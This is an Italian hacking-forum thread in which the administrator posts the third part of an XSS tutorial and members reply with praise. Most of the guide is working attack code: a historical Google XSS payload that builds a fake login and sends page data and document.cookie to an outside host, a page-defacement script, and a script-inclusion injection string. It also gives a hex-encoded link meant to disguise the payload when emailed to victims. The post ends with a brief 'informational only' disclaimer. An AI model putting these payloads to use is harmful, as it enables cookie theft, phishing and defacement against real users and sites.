Current time: 01-12-2008, 08:57 PM | Shoutbox Hello There, Guest! (LoginRegister)


Post Reply  Post Thread 
Guida XSS - 3a Parte - Modelli Js
Author Message
Langy
Administrator
*******


Posts: 8.209
Group: Administrators
Joined: Sep 2007
Status: Offline
Reputation: 7
Post: #1
Guida XSS - 3a Parte - Modelli Js

Guida XSS - 3a Parte - Modelli Js

-------------------------------
Autore: Langy
Data: 19-12-2007
Copyright: http://www.googlebig.com

-------------------------------

Link utili:
http://www.gnucitizen.org/xssdb/application.htm (Attack Database)
http://www.xssed.com (Mirror Archive of Vulnerable Websites)
http://ha.ckers.org/xss.html (XSS Cheat sheet)
http://software.graflex.org/dexss/ (Removing JavaScript from HTML)

http://en.wikipedia.org/wiki/Cross-site_scripting

-------------------------------

Esempio modello per fake login

Questo non è altro che un esempio (di jibbering.com) del codice js utilizzato sulla vecchia xss sul sito di Google

PHP Code:
alert(2)
document.images[0].src="http://www.google.com/images/logo.gif";
window.attachEvent('onload',func2)
function 
func2() {
el=document.createElement('iframe')
if (
document.forms[0].q.value=="") {
el.src="http://www.google.com/search?hl=en&lr=&safe=off&q=password";
} else {
el.src="http://www.google.com/search?hl=en&lr=&safe=off&q=
"
+document.forms[0].q.value;
}
el.width=0;
el.height=0;
document.body.appendChild(el);
setTimeout(func,2000);
}
document.forms[0].onsubmit=function() {
document.forms[0].cof.value=(document.forms[0].cof.value+'').
replace('javascript:','javascript:javascript:');
}
 function 
func() {
        var 
txt=el.contentWindow.document.body.innerHTML;
        
txt=txt.substr(txt.indexOf('onebox'),txt.length);
        
txt=txt.substr(0,txt.indexOf('</TABLE>'));
        
x=new Image();
        
x.src="http://jibbering.com/steal.1?data="+encode
URIComponent
(txt.replace(/<.*?>/gim,''))+"&cookie="+document.cookie;


Con questo codice inserito in un file .js e incluso nell'url di Google:

Code:
http://www.google.com/custom?cof=L:javascript:javascript:
document.appendChild(document.createElement('script')).
src%3D'http://xxxxxx/script.js'


Come output si visualizzava questa pagina di fake login:



Inutile ricordare che questa xss è stata fixata nel 2004.

Come altro modello di pagina js cito il classico codice che visualizza sostanzialmente una firma e un'immagine:

PHP Code:
var title "XSSED BY GOOGLEBIG.COM";var bgcolor "#000000";
var 
image_url "http://www.googlebig.com/googlebig.jpg";
var 
text "Langy was here ;)";var font_color "#FFFFFF";
deface(titlebgcolorimage_urltextfont_color); 
function 
deface(pageTitlebgColorimageUrlpageTextfontColor
{  
document.title pageTitle
 
document.body.innerHTML '';  
document.bgColor bgColor;  
var 
overLay document.createElement("div");  
overLay.style.textAlign 'center';  
document.body.appendChild(overLay);  
var 
txt document.createElement("p");  
txt.style.font 'normal normal bold 36px Verdana';  
txt.style.color fontColor;  txt.innerHTML pageText;  
overLay.appendChild(txt);   
if (
image_url != "") {    var newImg document.createElement("img");    
newImg.setAttribute("border"'0');
newImg.setAttribute("src"imageUrl);    
overLay.appendChild(newImg);  }  
var 
footer document.createElement("p");  
footer.style.font 'italic normal normal 12px Arial';  
footer.style.color '#DDDDDD';  footer.innerHTML title;  
overLay.appendChild(footer);} 


Qui possiamo personalizzare le variabili title, image_url, text, font_color e bgcolor.

Ribadisco che questi script per poter funzionare bisogna usare questo codice:

Code:
"><script src="http://xxxxx/script.js"></script>


è chiaro che se non funziona vuol dire che il sito non è vulnerabile a xss oppure non accetta l'inclusione del file js.

Poi è abbastanza scontato che se mandate un link via email non potete mica mandare il link con tanto di script di inclusione.... se ne accorgerebbe.... Così andiamo a convertire il tutto in Hex ed ecco il risultato, sembra un comunissimo link di Google:

Code:
http://www.google.com/custom?cof=L:%6a%61%76%61%73%63%72%69%70%74
%3a%6a%61%76%61%73%63%72%69%70%74%3a%64%6f%63%75%6d%65%
6e%74%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%64%6f%63%75
%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%
28%27%73%63%72%69%70%74%27%29%29%2e%73%72%63%3d%27%68%74
%74%70%3a%2f%2f%32%31%37%2e%31%35%35%2e%31%34%33%2e%36%35
%2f%74%65%73%74%2e%6a%73%27


Questa guida è stata creata per puro scopo informativo. Non fate i lameri -.-

La prima cosa da fare quando ne trovate una è postarla qui http://www.xssed.com/submit e poi contattare il webmaster del sito vulnerabile a xss segnalandogli il problema.

La seguente guida puo' essere utilizzata liberamente su qualsiasi sito includendo senza modifiche il copyright.

Vai alla 1a Parte della Guida


"There is no patch for human stupidity" - K. D. M.

This post was last modified: 19-12-2007 09:06 PM by Langy.

unknown browser unknown system
Browser e O.S.: 
19-12-2007 01:06 PM
Visit this user's website Find all posts by this user Quote this message in a reply
RedTuning
Moderator
****


Posts: 89
Group: Moderators
Joined: Dec 2007
Status: Offline
Reputation: 2
Post: #2
RE: Guida XSS - 3a Parte - Modelli Js

;-) bella langy


Molte persone sono animali mitologici....animali mitologici con corpo d'uomo e testa di cazzo
=================================
http://www.metalhammer.co.uk/gods/

Vote In Flames in Best International band in MetalHammer Golden Gods!!!

-in IN FLAMES we TRUST-
unknown browser unknown system
Browser e O.S.: 
19-12-2007 06:12 PM
Find all posts by this user Quote this message in a reply
LadyViolet
Banned


Posts: 60
Group: Banned
Joined: Sep 2007
Status: Offline
Post: #3
RE: Guida XSS - 3a Parte - Modelli Js

good! :)

unknown browser unknown system
Browser e O.S.: 
19-12-2007 08:22 PM
Find all posts by this user Quote this message in a reply
orakool
GB - Junior Member
**


Posts: 20
Group: Registered
Joined: Nov 2007
Status: Offline
Reputation: 1
Post: #4
RE: Guida XSS - 3a Parte - Modelli Js

ben scritta ;)


i tag sforano Icon_rolleyes

unknown browser unknown system
Browser e O.S.: 
19-12-2007 08:51 PM
Find all posts by this user Quote this message in a reply
Langy
Administrator
*******


Posts: 8.209
Group: Administrators
Joined: Sep 2007
Status: Offline
Reputation: 7
Post: #5
RE: Guida XSS - 3a Parte - Modelli Js

orakool Wrote:
ben scritta ;)


i tag sforano Icon_rolleyes


risolto ^^


"There is no patch for human stupidity" - K. D. M.
unknown browser unknown system
Browser e O.S.: 
19-12-2007 09:07 PM
Visit this user's website Find all posts by this user Quote this message in a reply
gighen
GB - Newbie
*


Posts: 2
Group: Registered
Joined: Oct 2008
Status: Offline
Reputation: 0
Post: #6
RE: Guida XSS - 3a Parte - Modelli Js

grande Langy Icon_cheesygrin

Firefox Linux Ubuntu
Browser e O.S.: 
31-10-2008 04:41 PM
Find all posts by this user Quote this message in a reply
xados
Moderator
****


Posts: 22
Group: Moderators
Joined: Oct 2008
Status: Offline
Reputation: 0
Post: #7
RE: Guida XSS - 3a Parte - Modelli Js

good langy!Icon_mrgreen

Firefox Windows XP/2003
Browser e O.S.: 
01-11-2008 07:06 PM
Visit this user's website Find all posts by this user Quote this message in a reply
Post Reply  Post Thread 

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  Guida Completa alla vulnerabilita' XSS N3t.Sh4rk 6 439 25-03-2008 10:15 PM
Last Post: N3t.Sh4rk
  Guida XSS - 4a Parte - La soluzione alle xss Langy 0 526 19-02-2008 06:34 PM
Last Post: Langy
  Guida XSS - 1a Parte Langy 14 1.530 25-11-2007 05:52 PM
Last Post: Langy
  Guida XSS - 2a Parte Langy 0 703 11-09-2007 09:38 AM
Last Post: Langy

View a Printable Version
Send this Thread to a Friend
Subscribe to this Thread | Add Thread to Favorites